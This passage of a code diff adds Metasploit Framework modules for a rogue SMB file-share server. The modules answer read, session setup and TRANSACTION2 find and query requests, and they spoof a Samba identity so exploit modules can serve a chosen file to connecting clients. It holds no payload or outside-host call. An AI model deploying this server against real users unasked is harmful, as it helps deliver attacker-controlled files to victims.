pkt['Payload'].v['ChangeTimeHigh'] = hi
pkt['Payload'].v['Attributes'] = attributes
pkt['Payload'].v['AllocLow'] = alloc_low
pkt['Payload'].v['AllocHigh'] = 0
pkt['Payload'].v['EOFLow'] = end_of_file_low
pkt['Payload'].v['EOFHigh'] = 0
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
pkt['Payload'].v['IsDirectory'] = is_directory
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module ReadAndx
# Handles an SMB_COM_READ_ANDX command, used by the client to read data from a
# file.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_read_andx(c, buff)
pkt = CONST::SMB_READ_PKT.make_struct
pkt.from_s(buff)
offset = pkt['Payload'].v['Offset']
length = pkt['Payload'].v['MaxCountLow']
send_read_andx_res(c, {
data_len_low: length,
byte_count: length,
data: file_contents[offset, length]
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :data_len_low The length of the file data sent back.
# @option opts [Fixnum] :byte_count The length of the file data sent back.
# @option opts [String] :data The bytes read from the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_read_andx_res(c, opts = {})
data_len_low = opts[:data_len_low] || 0
byte_count = opts[:byte_count] || 0
data = opts[:data] || ''
pkt = CONST::SMB_READ_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['Remaining'] = 0xffff
pkt['Payload'].v['DataLenLow'] = data_len_low
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['Reserved3'] = 0
pkt['Payload'].v['Reserved4'] = 0x0a
pkt['Payload'].v['ByteCount'] = byte_count
pkt['Payload'].v['Payload'] = data
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,87 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
# @todo Add support to only allow session setup against the configured shared resource
module SessionSetupAndx
# Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_session_setup_andx(c, buff)
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
tree_connect_response.v['AndXReserved'] = 0
tree_connect_response.v['AndXOffset'] = 0
tree_connect_response.v['OptionalSupport'] = 1
tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS
tree_connect_response.v['GuestAccessRights'] = 0
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
send_session_setup_andx_res(c, {
action: CONST::SMB_SETUP_GUEST,
data: data,
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
andx_offset: 96,
andx_command: tree_connect_response
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values.
# @option opts [Fixnum] :action SMB Configuration result.
# @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start
# of the WordCount field in the next SMBCommand.
# @option opts [Fixnum] :reserved Reserved field.
# @option opts [Fixnum] :andx The command code for the next SMB Command in the packet.
# @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response.
# @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_session_setup_andx_res(c, opts = {})
action = opts[:action] || 0
andx_offset = opts[:andx_offset] || 0
reserved = opts[:reserved] || 0
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
data = opts[:data] || ''
andx_command = opts[:andx_command] || nil
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = andx
pkt['Payload'].v['Reserved1'] = reserved
pkt['Payload'].v['AndXOffset'] = andx_offset
pkt['Payload'].v['Action'] = action
pkt['Payload'].v['Payload'] = data
if andx_command
full_pkt = pkt.to_s + andx_command.to_s
original_length = full_pkt[2, 2].unpack('n')[0]
original_length = original_length + andx_command.to_s.length
full_pkt[2, 2] = [original_length].pack('n')
else
full_pkt = pkt.to_s
end
c.put(full_pkt)
end
end
end
end
end
end

View File

@ -0,0 +1,100 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
# Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of
# server-side file system handling.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2(c, buff)
smb = @state[c]
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
data_trans2.from_s(pkt['Payload'].v['SetupData'])
sub_command = data_trans2.v['SubCommand']
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
case sub_command
when CONST::TRANS2_QUERY_FILE_INFO
return smb_cmd_trans2_query_file_information(c, parameters)
when CONST::TRANS2_QUERY_PATH_INFO
return smb_cmd_trans2_query_path_information(c, parameters)
when CONST::TRANS2_FIND_FIRST2
return smb_cmd_trans2_find_first2(c, parameters)
else
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
end
end
# Builds and sends an SMB_COM_TRANSACTION2 response.
#
# @param c [Socket] The client to answer.
# @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response.
# @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_trans2_res(c, parameters, data)
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
pkt['Payload'].v['DataCount'] = data.to_s.length
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
pkt['Payload'].v['Payload'] =
parameters.to_s +
data.to_s
c.put(pkt.to_s)
end
# Converts the path to ascii from unicode and normalizes.
#
# @param path [String] The path to normalize.
# @return [String] The normalized path.
def normalize_path(path)
normalized = Rex::Text.to_ascii(path).downcase
normalized.gsub!(/[\x00]*/, '') #delete padding
normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
normalized
end
# Expands a path with wildcards, and returns the set of matching files.
#
# @param path [String] the path to expand
# @return [String] The matching file.
# @todo It's a shortcut atm, make complete wildcard handling.
# @todo return an Array of matching files.
def smb_expand(path)
search_path = path.gsub(/<\./, '*.') # manage wildcards
extension = File.extname(file_name)
if search_path == "#{path_name}*#{extension}"
search_path = "#{path_name}#{file_name}"
end
search_path
end
end
end
end
end
end

View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
module FindFirst2
# Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a
# directory or for a directory.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_find_first2(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
normalized_path = normalize_path(params.v['FileName'])
search_path = smb_expand(normalized_path)
case loi
when CONST::SMB_FIND_FILE_NAMES_INFO
return smb_cmd_find_file_names_info(c, search_path)
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
return smb_cmd_find_file_both_directory_info(c, search_path)
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
return smb_cmd_find_file_full_directory_info(c, search_path)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,42 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
#@todo Check FID and no shortcut assuming the request always come for the valid FID
module QueryFileInformation
# Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about
# an specific file or directory, using its FID.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_query_file_information(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
fid = params.v['FID']
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
return smb_cmd_trans_query_file_info_standard(c, fid)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
return smb_cmd_trans_query_file_info_basic(c, fid)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,43 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
module QueryPathInformation
# Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about
# an specific file or directory, using its path.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_query_path_information(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
file_name = normalize_path(params.v['FileName'])
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
return smb_cmd_trans_query_path_info_standard(c, file_name)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
return smb_cmd_trans_query_path_info_basic(c, file_name)
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
return smb_cmd_trans_query_path_info_network(c, file_name)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,12 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
require 'msf/core/exploit/smb/server/share/information_level/find'
require 'msf/core/exploit/smb/server/share/information_level/query'
end
end
end
end

View File

@ -0,0 +1,229 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
module Find
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_both_directory_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
length = file_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
search = 1
elsif path && path == path_name.downcase
data = Rex::Text.to_unicode(path_name)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 0x100
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_file_both_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_names_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
elsif path && path == path_name.downcase
data = Rex::Text.to_unicode(path_name)
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_file_names_info_res(c, { data: data })
end
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_full_directory_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
length = file_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
search = 0x100
elsif path && path == path_name.downcase
data = Rex::Text.to_unicode(path_name)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 1
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_full_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :search_count The number of entries returned by the search.
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO.
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_file_both_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
send_trans2_res(c, trans2_params, find_file)
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO
# information level.
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_file_names_info_res(c, opts = {})
data = opts[:data] || ''
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = 1
trans2_params.v['EndOfSearch'] = 1
trans2_params.v['EaErrorOffset'] = 0
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :search_count The number of entries returned by the search.
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO.
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @option opts [String] :data The long name of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_find_full_directory_info_res(c, opts = {})
data = opts[:data] || ''
search_count = opts[:search_count] || 0
end_of_search = opts[:end_of_search] || 0
ea_error_offset = opts[:ea_error_offset] || 0
end_of_file = opts[:end_of_file] || 0
allocation_size = opts[:allocation_size] || 0
file_attributes = opts[:file_attributes] || 0
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
find_file.v['FileIndex'] = 0
find_file.v['loCreationTime'] = lo
find_file.v['hiCreationTime'] = hi
find_file.v['loLastAccessTime'] = lo
find_file.v['hiLastAccessTime'] = hi
find_file.v['loLastWriteTime'] = lo
find_file.v['hiLastWriteTime'] = hi
find_file.v['loLastChangeTime'] = lo
find_file.v['hiLastChangeTime'] = hi
find_file.v['EndOfFile'] = end_of_file
find_file.v['AllocationSize'] = allocation_size
find_file.v['ExtFileAttributes'] = file_attributes
find_file.v['FileName'] = data
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
trans2_params.v['SID'] = 0xfffd
trans2_params.v['SearchCount'] = search_count
trans2_params.v['EndOfSearch'] = end_of_search
trans2_params.v['EaErrorOffset'] = ea_error_offset
trans2_params.v['LastNameOffset'] = 0
send_trans2_res(c, trans2_params, find_file)
end
end
end
end
end
end

View File

@ -0,0 +1,216 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
module Query
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param fid [Fixnum] The file identifier which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_file_info_basic(c, fid)
smb = @state[c]
if fid == smb[:file_id].to_i
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_basic_res(c, { file_attributes: attrib })
end
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param fid [Fixnum] The file identifier which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_file_info_standard(c, fid)
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: 0,
end_of_file: file_contents.length
})
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
# @todo Delete elsif comment if testing proofs it as unnecessary
def smb_cmd_trans_query_path_info_basic(c, path)
if path && path.ends_with?(file_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
#elsif path && path.ends_with?(file_name + '.Local')
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path == path_name.downcase
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_basic_res(c, { file_attributes: attrib })
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_path_info_standard(c, path)
if path && path.include?(file_name.downcase)
attrib = 0 # File attributes => file
elsif path && path == path_name.downcase
attrib = 1 # File attributes => directory
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = 1 # File attributes => directory
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_standard_res(c, {
allocation_size: 1048576,
number_links: 1,
delete_pending: 0,
directory: attrib,
end_of_file: file_contents.length
})
end
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans_query_path_info_network(c, path)
if path && path.include?(file_name.downcase)
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
elsif path && path == path_name.downcase
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
elsif path.nil? || path.empty? || path == "\x00" # empty path
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_info_network_res(c, {
allocation_size: 1048576,
end_of_file: file_contents.length,
file_attributes: attrib
})
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_basic_res(c, opts = {})
file_attributes = opts[:file_attributes] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
# @option opts [Fixnum] :number_links The number of hard links to the file.
# @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file.
# @option opts [Fixnum] :directory Indicates whether the file is a directory.
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_standard_res(c, opts = {})
allocation_size = opts[:allocation_size] || 0
number_links = opts[:number_links] || 0
delete_pending = opts[:delete_pending] || 0
directory = opts[:directory] || 0
end_of_file = opts[:end_of_file] || 0
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['NumberOfLinks'] = number_links
query_path_info.v['DeletePending'] = delete_pending
query_path_info.v['Directory'] = directory
send_trans2_res(c, trans2_params, query_path_info)
end
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO
# information level.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
# @option opts [Fixnum] :file_attributes The file attributes.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_info_network_res(c, opts= {})
allocation_size = opts[:allocation_size] || 0
end_of_file = opts[:end_of_file] || 0
file_attributes = opts[:file_attributes] || 0
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
trans2_params.v['EaErrorOffset'] = 0
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
query_path_info.v['loCreationTime'] = lo
query_path_info.v['hiCreationTime'] = hi
query_path_info.v['loLastAccessTime'] = lo
query_path_info.v['hiLastAccessTime'] = hi
query_path_info.v['loLastWriteTime'] = lo
query_path_info.v['hiLastWriteTime'] = hi
query_path_info.v['loLastChangeTime'] = lo
query_path_info.v['hiLastChangeTime'] = hi
query_path_info.v['AllocationSize'] = allocation_size
query_path_info.v['EndOfFile'] = end_of_file
query_path_info.v['ExtFileAttributes'] = file_attributes
send_trans2_res(c, trans2_params, query_path_info)
